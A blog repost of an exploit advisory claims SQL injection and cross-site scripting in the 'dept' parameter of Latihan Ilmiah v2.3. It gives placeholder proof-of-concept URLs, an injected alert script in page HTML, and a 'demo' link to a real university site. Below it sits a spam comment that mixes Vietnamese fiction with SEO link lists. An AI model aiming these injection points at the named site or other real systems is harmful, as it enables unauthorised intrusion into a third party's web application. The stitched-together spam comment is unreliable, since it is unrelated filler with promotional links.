Latihan Ilmiah v2.3 Release <= SQLi /XSS Vulnerability



##################################################
# Exploit Title: Latihan Ilmiah v2.3 Release <= SQLi /XSS Vulnerability
# Date: 07/10/2012
# Author: Ryuzaki Lawlet
# Web/Blog: http://justryuz.blogspot.com
# 3Mail: ryuzaki_l@y7mail.com
# Category: webapps
# Google dork: -
# Tested on: Linux
+---------------------------------------------------+
[~]Exploit/p0c :

http://localhost/index.php?file=notice&dept=[SQLi]
http://localhost/index.php?file=notice&dept=[XSS]


https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhufqst7afRkt8KAyd_LQP1NPeO3alio4QZJJv7MaTcdtfu570zYIszPkTvhYyw6jCtQX6xT7dn-jxd7JEhpHmmTua6DQaow6vl9uKgR2wX1eJp_fvG2M2FQpq73dsc9ecMk3YFr3n3lTw/s1600/um.png

<table width="100%" border="0" cellspacing="1" cellpadding="1">
  <tr>
    <td bgcolor="#3399FF" class="font_title2"><div align="center">Announcement: <script>alert(100)</script> </div></td>
  </tr>
  <tr class="font_content_s">
    <td><table width="100%" border="1" cellspacing="1" cellpadding="1" class="border1">
          <tr bgcolor="#FBE3B7" class="font_title border1" >
            <td width="17%"><div align="center">Date</div></td>
            <td width="83%"><div align="center">Subject</div></td>
          </tr>
          </table></td>

[~] Demo
http://ilmiah.fsktm.um.edu.my/index.php?file=notice&dept=[xss]

+---------------------------------------------------+
Greetz to : ./CyberSEC & Sofea Hana

Postingan terkait:

    1 Tanggapan untuk "Latihan Ilmiah v2.3 Release <= SQLi /XSS Vulnerability"

    1. của hắn chớp động đã tới trước Long Đằng.

      Lúc này Yêu Huyên, Thanh Đồng, Hồng Loan, Yến Hiểu Kỳ, Trầm Linh, Nhạc Cốc Khiếu Thiên Hổ, Đại Hắc bọn họ cũng lập tức hành động, lắc một cái đặt tới trước đám người của Toan Nghê Tộc, mang theo một lực công kích cường hãn.

      Long Đằng thấy thân ảnh của Nhạc Thành xuất hiện bên cạnh mình thì đâu dám ngạnh khác, cả kinh lui xuống.

      - Huyễn Hóadongtam
      mu private
      tim phong tro
      http://nhatroso.com/
      nhac san cuc manh
      tổng đài tư vấn luật
      http://dichvu.tuvanphapluattructuyen.com/
      văn phòng luật
      tổng đài tư vấn pháp luật
      thành lập công ty
      http://we-cooking.com/
      chém gió
      trung tâm ngoại ngữ vạn thiên.

      Nhạc Thành mỉm cười quát lạnh, tựa hồ như đã sớm biết Long Đằng muốn chạy trốn, lãnh ý tràn ngập, thủ ấn ngưng tụ, một đạo pháp quyết đánh ra, tám thanh Âm Dương Kiếm ngưng tụ ở trên bầu trời, hóa thành cả vạn đạo kiếm quang.

      Nhạc Thành lúc này ra tay độc ác, không để cho Long Đồ có cơ hội, cả vạn đạo kiếm quang bắn tới, trong nháy mắt phong bế đường lui của Long Đằngng Đằng nhìn thấy biến đổi như vậy thì cả

      ReplyDelete